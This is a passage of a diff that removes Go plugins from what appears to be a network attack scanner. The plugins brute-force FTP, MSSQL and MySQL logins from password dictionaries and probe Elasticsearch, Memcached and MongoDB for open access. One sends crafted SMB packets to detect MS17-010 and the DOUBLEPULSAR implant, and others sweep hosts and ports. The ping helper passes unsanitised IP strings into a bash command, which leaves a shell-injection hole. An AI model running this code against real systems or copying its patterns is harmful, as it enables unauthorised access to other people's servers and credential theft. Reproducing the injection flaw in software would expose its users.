res.Header.Add("Accept-Encoding","gzip, deflate")
|
|
||||||
res.Header.Add("Connection","close")
|
|
||||||
resp,err:=client.Do(res)
|
|
||||||
|
|
||||||
if err==nil{
|
|
||||||
defer resp.Body.Close()
|
|
||||||
body, _ := ioutil.ReadAll(resp.Body)
|
|
||||||
if strings.Contains(string(body),"/_cat/master"){
|
|
||||||
result := fmt.Sprintf("Elastic:%s unauthorized",url)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
@@ -1,77 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"net"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
//"encoding/binary"
|
|
||||||
"encoding/hex"
|
|
||||||
"fmt"
|
|
||||||
"sync"
|
|
||||||
|
|
||||||
"../common"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
|
||||||
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
|
||||||
buffer_v3, _ = hex.DecodeString("0900ffff0000")
|
|
||||||
|
|
||||||
)
|
|
||||||
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
FindnetScan(info)
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func FindnetScan(info *common.HostInfo) {
|
|
||||||
realhost:=fmt.Sprintf("%s:%d",info.Host,135)
|
|
||||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err != nil{
|
|
||||||
return
|
|
||||||
}
|
|
||||||
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
|
||||||
defer conn.Close()
|
|
||||||
conn.Write(buffer_v1)
|
|
||||||
reply := make([]byte, 4096)
|
|
||||||
_, err = conn.Read(reply)
|
|
||||||
if err != nil{
|
|
||||||
return
|
|
||||||
}
|
|
||||||
conn.Write(buffer_v2)
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
text := reply[42:]
|
|
||||||
flag := true
|
|
||||||
for i := 0; i < len(text)-5; i++ {
|
|
||||||
if bytes.Equal(text[i:i+6], buffer_v3){
|
|
||||||
text = text[:i-4]
|
|
||||||
flag = false
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if flag{
|
|
||||||
return
|
|
||||||
}
|
|
||||||
read(text,info.Host)
|
|
||||||
}
|
|
||||||
func read(text []byte,host string) {
|
|
||||||
encodedStr := hex.EncodeToString(text)
|
|
||||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
|
||||||
hostname := strings.Split(hostnames, "000000")
|
|
||||||
result := "NetInfo:\n[*]"+host
|
|
||||||
for i := 0; i < len(hostname); i++ {
|
|
||||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
|
||||||
host,err := hex.DecodeString(hostname[i])
|
|
||||||
if err != nil{
|
|
||||||
return
|
|
||||||
}
|
|
||||||
result += "\n [->]"+string(host)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"github.com/jlaffaye/ftp"
|
|
||||||
"fmt"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
Loop:
|
|
||||||
for _,user:=range common.Userdict["ftp"]{
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
|
||||||
flag,err := FtpConn(info,user,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func FtpConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
|
|
||||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err == nil {
|
|
||||||
err = conn.Login(Username,Password)
|
|
||||||
if err == nil {
|
|
||||||
defer conn.Logout()
|
|
||||||
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
-201
@@ -1,201 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"encoding/binary"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"os/user"
|
|
||||||
"runtime"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var icmp ICMP
|
|
||||||
|
|
||||||
var AliveHosts []string
|
|
||||||
|
|
||||||
type ICMP struct {
|
|
||||||
Type uint8
|
|
||||||
Code uint8
|
|
||||||
Checksum uint16
|
|
||||||
Identifier uint16
|
|
||||||
SequenceNum uint16
|
|
||||||
}
|
|
||||||
|
|
||||||
type SystemInfo struct {
|
|
||||||
OS string
|
|
||||||
ARCH string
|
|
||||||
HostName string
|
|
||||||
Groupid string
|
|
||||||
Userid string
|
|
||||||
Username string
|
|
||||||
UserHomeDir string
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetSys() SystemInfo {
|
|
||||||
var sysinfo SystemInfo
|
|
||||||
|
|
||||||
sysinfo.OS = runtime.GOOS
|
|
||||||
sysinfo.ARCH = runtime.GOARCH
|
|
||||||
name, err := os.Hostname()
|
|
||||||
if err == nil {
|
|
||||||
sysinfo.HostName = name
|
|
||||||
}
|
|
||||||
|
|
||||||
u, err := user.Current()
|
|
||||||
sysinfo.Groupid = u.Gid
|
|
||||||
sysinfo.Userid = u.Uid
|
|
||||||
sysinfo.Username = u.Username
|
|
||||||
sysinfo.UserHomeDir = u.HomeDir
|
|
||||||
|
|
||||||
return sysinfo
|
|
||||||
}
|
|
||||||
|
|
||||||
func isping(ip string) bool {
|
|
||||||
icmp.Type = 8
|
|
||||||
icmp.Code = 0
|
|
||||||
icmp.Checksum = 0
|
|
||||||
icmp.Identifier = 0
|
|
||||||
icmp.SequenceNum = 0
|
|
||||||
|
|
||||||
recvBuf := make([]byte, 32)
|
|
||||||
var buffer bytes.Buffer
|
|
||||||
|
|
||||||
binary.Write(&buffer, binary.BigEndian, icmp)
|
|
||||||
icmp.Checksum = CheckSum(buffer.Bytes())
|
|
||||||
|
|
||||||
buffer.Reset()
|
|
||||||
binary.Write(&buffer, binary.BigEndian, icmp)
|
|
||||||
|
|
||||||
Time, _ := time.ParseDuration("3s")
|
|
||||||
conn, err := net.DialTimeout("ip4:icmp", ip, Time)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
_, err = conn.Write(buffer.Bytes())
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
conn.SetReadDeadline(time.Now().Add(time.Second * 3))
|
|
||||||
num, err := conn.Read(recvBuf)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
conn.SetReadDeadline(time.Time{})
|
|
||||||
|
|
||||||
if string(recvBuf[0:num]) != "" {
|
|
||||||
fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func CheckSum(data []byte) uint16 {
|
|
||||||
var (
|
|
||||||
sum uint32
|
|
||||||
length int = len(data)
|
|
||||||
index int
|
|
||||||
)
|
|
||||||
for length > 1 {
|
|
||||||
sum += uint32(data[index])<<8 + uint32(data[index+1])
|
|
||||||
index += 2
|
|
||||||
length -= 2
|
|
||||||
}
|
|
||||||
if length > 0 {
|
|
||||||
sum += uint32(data[index])
|
|
||||||
}
|
|
||||||
sum += (sum >> 16)
|
|
||||||
|
|
||||||
return uint16(^sum)
|
|
||||||
}
|
|
||||||
|
|
||||||
func IcmpCheck(hostslist []string,IcmpThreads int) {
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
mutex := &sync.Mutex{}
|
|
||||||
limiter := make(chan int, IcmpThreads)
|
|
||||||
for _,host :=range hostslist{
|
|
||||||
wg.Add(1)
|
|
||||||
limiter <- 1
|
|
||||||
go func(host string) {
|
|
||||||
defer wg.Done()
|
|
||||||
if isping(host){
|
|
||||||
mutex.Lock()
|
|
||||||
AliveHosts = append(AliveHosts, host)
|
|
||||||
mutex.Unlock()
|
|
||||||
}
|
|
||||||
<- limiter
|
|
||||||
}(host)
|
|
||||||
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func ExecCommandPing(ip string,bsenv string) bool {
|
|
||||||
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
|
||||||
outinfo := bytes.Buffer{}
|
|
||||||
command.Stdout = &outinfo
|
|
||||||
err := command.Start()
|
|
||||||
if err != nil{
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
if err = command.Wait();err!=nil{
|
|
||||||
return false
|
|
||||||
}else{
|
|
||||||
if(strings.Contains(outinfo.String(), "true")) {
|
|
||||||
return true
|
|
||||||
}else {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func PingCMDcheck(hostslist []string,bsenv string) {
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
mutex := &sync.Mutex{}
|
|
||||||
limiter := make(chan struct{}, 40)
|
|
||||||
for _,host :=range hostslist{
|
|
||||||
wg.Add(1)
|
|
||||||
limiter <- struct{}{}
|
|
||||||
go func(host string) {
|
|
||||||
defer wg.Done()
|
|
||||||
if ExecCommandPing(host,bsenv){
|
|
||||||
mutex.Lock()
|
|
||||||
fmt.Printf("(Ping) Target '%s' is alive\n",host)
|
|
||||||
AliveHosts = append(AliveHosts, host)
|
|
||||||
mutex.Unlock()
|
|
||||||
}
|
|
||||||
<-limiter
|
|
||||||
}(host)
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
func ICMPRun(hostslist []string,IcmpThreads int) []string{
|
|
||||||
var sysinfo SystemInfo
|
|
||||||
sysinfo = GetSys()
|
|
||||||
|
|
||||||
if sysinfo.OS == "windows" {
|
|
||||||
IcmpCheck(hostslist,IcmpThreads)
|
|
||||||
}else if sysinfo.OS == "linux" {
|
|
||||||
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
|
||||||
IcmpCheck(hostslist,IcmpThreads)
|
|
||||||
}else {
|
|
||||||
PingCMDcheck(hostslist,"/bin/bash")
|
|
||||||
}
|
|
||||||
}else if sysinfo.OS == "darwin" {
|
|
||||||
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
|
||||||
IcmpCheck(hostslist,IcmpThreads)
|
|
||||||
}else {
|
|
||||||
PingCMDcheck(hostslist,"/usr/local/bin/bash")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return AliveHosts
|
|
||||||
}
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
|
||||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
|
|
||||||
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err==nil {
|
|
||||||
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
|
||||||
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
|
||||||
rev := make([]byte, 1024)
|
|
||||||
n, err := client.Read(rev)
|
|
||||||
if err == nil {
|
|
||||||
if strings.Contains(string(rev[:n]), "STAT") {
|
|
||||||
defer client.Close()
|
|
||||||
result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
return err, result
|
|
||||||
}
|
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"fmt"
|
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
|
||||||
"net"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
MongodbUnauth(info)
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
|
|
||||||
flag = false
|
|
||||||
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
|
|
||||||
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
|
|
||||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
|
|
||||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err != nil{return}
|
|
||||||
defer conn.Close()
|
|
||||||
conn.Write(send_data)
|
|
||||||
buf := make([]byte, 1024)
|
|
||||||
count, err := conn.Read(buf)
|
|
||||||
if err != nil {
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
text := string(buf[0:count])
|
|
||||||
if strings.Contains(text,"ismaster"){
|
|
||||||
conn.Write(getlog_data)
|
|
||||||
count, err := conn.Read(buf)
|
|
||||||
if err != nil {
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
text := string(buf[0:count])
|
|
||||||
if strings.Contains(text,"totalLinesWritten"){
|
|
||||||
flag = true
|
|
||||||
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
@@ -1,139 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/binary"
|
|
||||||
"encoding/hex"
|
|
||||||
"sync"
|
|
||||||
|
|
||||||
//"flag"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"../common"
|
|
||||||
"strings"
|
|
||||||
//"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
|
|
||||||
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
|
|
||||||
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
|
|
||||||
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
|
|
||||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
|
||||||
)
|
|
||||||
|
|
||||||
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
MS17010Scan(info)
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func MS17010Scan(info *common.HostInfo) {
|
|
||||||
|
|
||||||
ip := info.Host
|
|
||||||
// connecting to a host in LAN if reachable should be very quick
|
|
||||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
|
||||||
conn.Write(negotiateProtocolRequest)
|
|
||||||
reply := make([]byte, 1024)
|
|
||||||
// let alone half packet
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
|
||||||
// status != 0
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
conn.Write(sessionSetupRequest)
|
|
||||||
|
|
||||||
n, err := conn.Read(reply)
|
|
||||||
if err != nil || n < 36 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
|
||||||
// status != 0
|
|
||||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// extract OS info
|
|
||||||
var os string
|
|
||||||
sessionSetupResponse := reply[36:n]
|
|
||||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
|
||||||
// find byte count
|
|
||||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
|
||||||
if n != int(byteCount)+45 {
|
|
||||||
fmt.Println("invalid session setup AndX response")
|
|
||||||
} else {
|
|
||||||
// two continous null bytes indicates end of a unicode string
|
|
||||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
|
||||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
|
||||||
os = string(sessionSetupResponse[10:i])
|
|
||||||
os = strings.Replace(os, string([]byte{0x00}), "",-1)
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
userID := reply[32:34]
|
|
||||||
treeConnectRequest[32] = userID[0]
|
|
||||||
treeConnectRequest[33] = userID[1]
|
|
||||||
// TODO change the ip in tree path though it doesn't matter
|
|
||||||
conn.Write(treeConnectRequest)
|
|
||||||
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
treeID := reply[28:30]
|
|
||||||
transNamedPipeRequest[28] = treeID[0]
|
|
||||||
transNamedPipeRequest[29] = treeID[1]
|
|
||||||
transNamedPipeRequest[32] = userID[0]
|
|
||||||
transNamedPipeRequest[33] = userID[1]
|
|
||||||
|
|
||||||
conn.Write(transNamedPipeRequest)
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
|
||||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
|
||||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
|
||||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
|
||||||
result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
// detect present of DOUBLEPULSAR SMB implant
|
|
||||||
trans2SessionSetupRequest[28] = treeID[0]
|
|
||||||
trans2SessionSetupRequest[29] = treeID[1]
|
|
||||||
trans2SessionSetupRequest[32] = userID[0]
|
|
||||||
trans2SessionSetupRequest[33] = userID[1]
|
|
||||||
|
|
||||||
conn.Write(trans2SessionSetupRequest)
|
|
||||||
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if reply[34] == 0x51 {
|
|
||||||
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
|
||||||
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
} else {
|
|
||||||
result := fmt.Sprintf("%s (%s)", ip, os)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
Loop:
|
|
||||||
for _,user:=range common.Userdict["mssql"]{
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag,err := MssqlConn(info,user,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func MssqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
|
|
||||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
|
|
||||||
db, err := sql.Open("mssql", dataSourceName)
|
|
||||||
if err == nil {
|
|
||||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
|
||||||
defer db.Close()
|
|
||||||
err = db.Ping()
|
|
||||||
if err == nil {
|
|
||||||
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
_ "github.com/go-sql-driver/mysql"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
Loop:
|
|
||||||
for _,user:=range common.Userdict["mysql"]{
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag,err := MysqlConn(info,user,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func MysqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
|
|
||||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
|
|
||||||
db, err := sql.Open("mysql", dataSourceName)
|
|
||||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err == nil {
|
|
||||||
defer db.Close()
|
|
||||||
err = db.Ping()
|
|
||||||
if err == nil {
|
|
||||||
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
@@ -1,147 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"sort"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
"../common"
|
|
||||||
)
|
|
||||||
|
|
||||||
func ParsePort(ports string) []int {
|
|
||||||
var scanPorts []int
|
|
||||||
slices := strings.Split(ports, ",")
|
|
||||||
for _, port := range slices {
|
|
||||||
port = strings.Trim(port, " ")
|
|
||||||
upper := port
|
|
||||||
if strings.Contains(port, "-") {
|
|
||||||
ranges := strings.Split(port, "-")
|
|
||||||
if len(ranges) < 2 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
sort.Strings(ranges)
|
|
||||||
port = ranges[0]
|
|
||||||
upper = ranges[1]
|
|
||||||
}
|
|
||||||
start, _ := strconv.Atoi(port)
|
|
||||||
end, _ := strconv.Atoi(upper)
|
|
||||||
for i := start; i <= end; i++ {
|
|
||||||
scanPorts = append(scanPorts, i)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return scanPorts
|
|
||||||
}
|
|
||||||
|
|
||||||
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
|
|
||||||
Timeout := time.Duration(adjustedTimeout) * time.Second
|
|
||||||
for port := range ports{
|
|
||||||
start := time.Now()
|
|
||||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
|
|
||||||
duration := time.Now().Sub(start)
|
|
||||||
if err == nil {
|
|
||||||
defer con.Close()
|
|
||||||
address := host + ":" + strconv.Itoa(port)
|
|
||||||
result := fmt.Sprintf("%s open",address)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
respondingHosts <- address
|
|
||||||
}
|
|
||||||
if duration < Timeout {
|
|
||||||
difference := Timeout - duration
|
|
||||||
Timeout = Timeout - (difference / 2)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
done <- true
|
|
||||||
}
|
|
||||||
|
|
||||||
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
|
|
||||||
ports := make(chan int, 20)
|
|
||||||
results := make(chan string, 10)
|
|
||||||
done := make(chan bool, threads)
|
|
||||||
|
|
||||||
for worker := 0; worker < threads; worker++ {
|
|
||||||
go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _,port := range probePorts{
|
|
||||||
ports <- port
|
|
||||||
}
|
|
||||||
close(ports)
|
|
||||||
|
|
||||||
var responses = []string{}
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case found := <-results:
|
|
||||||
responses = append(responses, found)
|
|
||||||
case <-done:
|
|
||||||
threads--
|
|
||||||
if threads == 0 {
|
|
||||||
return responses, nil
|
|
||||||
}
|
|
||||||
case <-time.After(timeout):
|
|
||||||
return responses, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){
|
|
||||||
var AliveAddress []string
|
|
||||||
var aliveHosts []string
|
|
||||||
probePorts := ParsePort(ports)
|
|
||||||
lm := 20
|
|
||||||
if (len(hostslist)>5 && len(hostslist)<=50) {
|
|
||||||
lm = 40
|
|
||||||
}else if(len(hostslist)>50 && len(hostslist)<=100){
|
|
||||||
lm = 50
|
|
||||||
}else if(len(hostslist)>100 && len(hostslist)<=150){
|
|
||||||
lm = 60
|
|
||||||
